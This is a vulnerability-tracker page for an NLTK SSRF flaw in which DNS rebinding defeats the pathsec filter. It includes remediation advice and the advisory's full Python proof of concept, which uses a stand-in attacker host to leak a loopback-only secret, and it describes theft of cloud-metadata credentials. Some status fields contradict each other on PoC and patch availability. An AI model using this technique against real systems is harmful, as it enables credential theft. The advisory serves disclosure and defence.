Skip to main content

NLTK pathsec CVE-2026-12075

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-31 https://github.com/nltk/nltk GHSA-qvv7-cg9c-w4x3
8.6
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register hostname with TTL-0 DNS infrastructure
  2. Delivery
    Supply attacker hostname as NLTK data URL
  3. Exploit
    Validation resolves to public IP, filter passes
  4. Execution
    urllib re-resolves hostname to internal IP at connect time
  5. Persist
    HTTP connection reaches internal service or cloud metadata
  6. Impact
    Full response body returned to caller

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The application must pass attacker-influenced hostname values to nltk.pathsec.urlopen(), nltk.data.load() with format='raw', or nltk.download() - this is the primary prerequisite, and it is the exact use case the nltk.pathsec module was designed to protect. The attacker must control authoritative DNS for the target hostname and be capable of configuring TTL-0 records that return different A records on consecutive queries; this requires owning or compromising a domain and its DNS infrastructure, which is the non-trivial barrier to exploitation. Crucially, nltk.pathsec.ENFORCE = True does NOT prevent exploitation - the bypass works specifically against ENFORCE mode. No authentication to the NLTK application is required (PR:N per CVSS vector). The internal target service must be reachable from the application host over HTTP (e.g., 169.254.169.254 on cloud VMs, loopback admin interfaces, or private-network APIs). The lru_cache on _resolve_hostname does NOT limit exploitation; it only caches the validation-side lookup and provides no protection at connect time.

Impact

The CVSS 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) score reflects network-reachable, low-complexity, unauthenticated exploitation with scope change and high confidentiality impact, and these metrics are well-supported by the technical description. The most severe real-world impact is exfiltration of cloud IAM credentials via the instance metadata service (169.254.169.254), which can lead to full cloud account compromise - a consequence that substantially amplifies the raw CVSS score. A working PoC is publicly available, making exploitation accessible to non-specialist attackers. No EPSS score was provided in the input data and the vulnerability is not listed in the CISA KEV at time of analysis, so widespread exploitation cannot be confirmed, but the public PoC lowers the exploitation bar significantly. The compounding risk factor is the false assurance from the lru_cache annotation: defenders who read the source code or documentation may explicitly decide not to add compensating controls, believing the library already handles rebinding internally - this makes the effective risk higher than CVSS alone captures. EPSS data is absent from input; risk prioritization should therefore rely on the public PoC status and the cloud-credential-theft impact scenario.

Exploit ScenarioDerived

An attacker registers a hostname under their control with a TTL-0 A record and configures their authoritative DNS server to return a legitimate public IP (e.g., 93.184.216.34) on the first query and the cloud metadata IP 169.254.169.254 (or a loopback address) on the second. When a web application passes this hostname as a URL to nltk.pathsec.urlopen() - for example, as a user-supplied corpus download URL - the SSRF filter validates against the public IP and allows the request, then urllib connects to 169.254.169.254, returning IAM role credentials or other metadata to the caller. A full working PoC demonstrating this exact attack chain against NLTK with ENFORCE = True is publicly available in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 31, 2026

DNS rebinding defeats nltk.pathsec.urlopen()'s SSRF filter in NLTK 3.9.4 and earlier, allowing unauthenticated remote attackers to reach loopback addresses, private networks, and cloud instance metadata endpoints - even with ENFORCE = True - and receive full, non-blind HTTP responses. The root cause is a TOCTOU gap: validation resolves the hostname once, but urllib independently re-resolves it at connect time via a separate getaddrinfo call, connecting to whatever the attacker's TTL-0 rebinding record returns on the second lookup. A working proof-of-concept is publicly available in the GHSA advisory, and the lru_cache annotation on _resolve_hostname creates a false assurance that rebinding is already mitigated, meaning operators who adopted this boundary believe themselves protected when they are not.

RemediationAI

Upgrade NLTK to version 3.10.0, which is the vendor-confirmed patched release per the GHSA advisory at https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3. Run pip install --upgrade nltk>=3.10.0 and verify the installed version. If immediate upgrade is not possible, apply the following compensating controls in order of effectiveness: (1) Restrict egress HTTP from the application host to deny outbound connections to RFC-1918 ranges, loopback, and the cloud metadata IP 169.254.169.254 at the network or iptables/nftables level - this blocks the connection even when the filter is bypassed, though it requires firewall access and may break legitimate internal service calls; (2) Proxy all outbound HTTP through an allowlisted egress proxy that enforces destination IP validation at connect time rather than at DNS resolution time, accepting the operational overhead of maintaining the allowlist; (3) Ensure no untrusted user input can reach nltk.pathsec.urlopen(), nltk.data.load(), or nltk.download() - treat these as internal-only APIs if the upgrade cannot be applied. Do NOT rely on nltk.pathsec.ENFORCE = True as a security control until the library is patched, as this mode is precisely what the bypass defeats.

Affected Packages

pypi nltk fix: 3.10.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NLTK's nltk.pathsec module (CPE: pkg:pip/nltk, versions ≤ 3.9.4) implements an SSRF allowlist filter via validate_network_url(), which resolves the target hostname using _resolve_hostname() (decorated with functools.lru_cache) and rejects IPs in loopback, link-local, multicast, and RFC-1918 ranges. The flaw is a classic CWE-918 (Server-Side Request Forgery) variant compounded by a time-of-check/time-of-use race on DNS: after validation passes, urlopen() passes the original raw hostname string to urllib's build_opener().open(), which initiates a completely independent resolution chain - http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo - that does not consult the lru_cache populated during validation. An attacker controlling authoritative DNS for a hostname configures a TTL-0 A record that returns a legitimate public IP on the first query (satisfying the filter) and an internal/loopback IP on the second query (the one urllib actually connects to). The lru_cache on the validation side provides zero protection because the connection-layer resolver is an entirely separate code path.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
vuln.today AI 8.6 HIGH

Network-reachable with no auth; TTL-0 DNS rebinding is reliable once attacker controls DNS, supporting AC:L; scope change to internal systems; confidentiality-only impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
SUSE HIGH

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionGitHub Advisory

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

  1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 - the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

python
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True
# the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"
# attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"
# public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]
# ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"
# 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()
# fresh validation cache, as on a real process
    try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and - most seriously - the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 pypi packages depend on nltk (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.10.0.

Executive ViewAI

Why It Matters

NLTK (Natural Language Toolkit) 3.9.4 and earlier contains a DNS rebinding vulnerability that defeats built-in SSRF protections, allowing unauthenticated attackers with publicly available exploit code to access internal systems and cloud metadata. Organizations using NLTK for URL processing face immediate risk of unauthorized access to private networks and sensitive cloud infrastructure. The vulnerability is particularly concerning because the library's security controls create a false sense of protection, potentially preventing detection of attacks.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement these interim controls: (1) network segmentation to prevent affected systems from accessing private IP ranges and cloud metadata endpoints, (2) DNS rate-limiting and traffic analysis to detect and block rebinding attempts, (3) temporary workarounds such as moving URL validation logic to alternative, patched libraries where business logic permits, and (4) restriction of NLTK deployment to fully trusted, non-internet-facing environments only until a patched version is released.

Threat Intelligence Overview

Prevalence
Medium
widely used Python NLP and data science library
Threat Intel
1
1 source
Data Quality
3 sources
Confidence: Low
NVD CVE.org GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)GitHub Advisory

pkg:pip/nltk

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy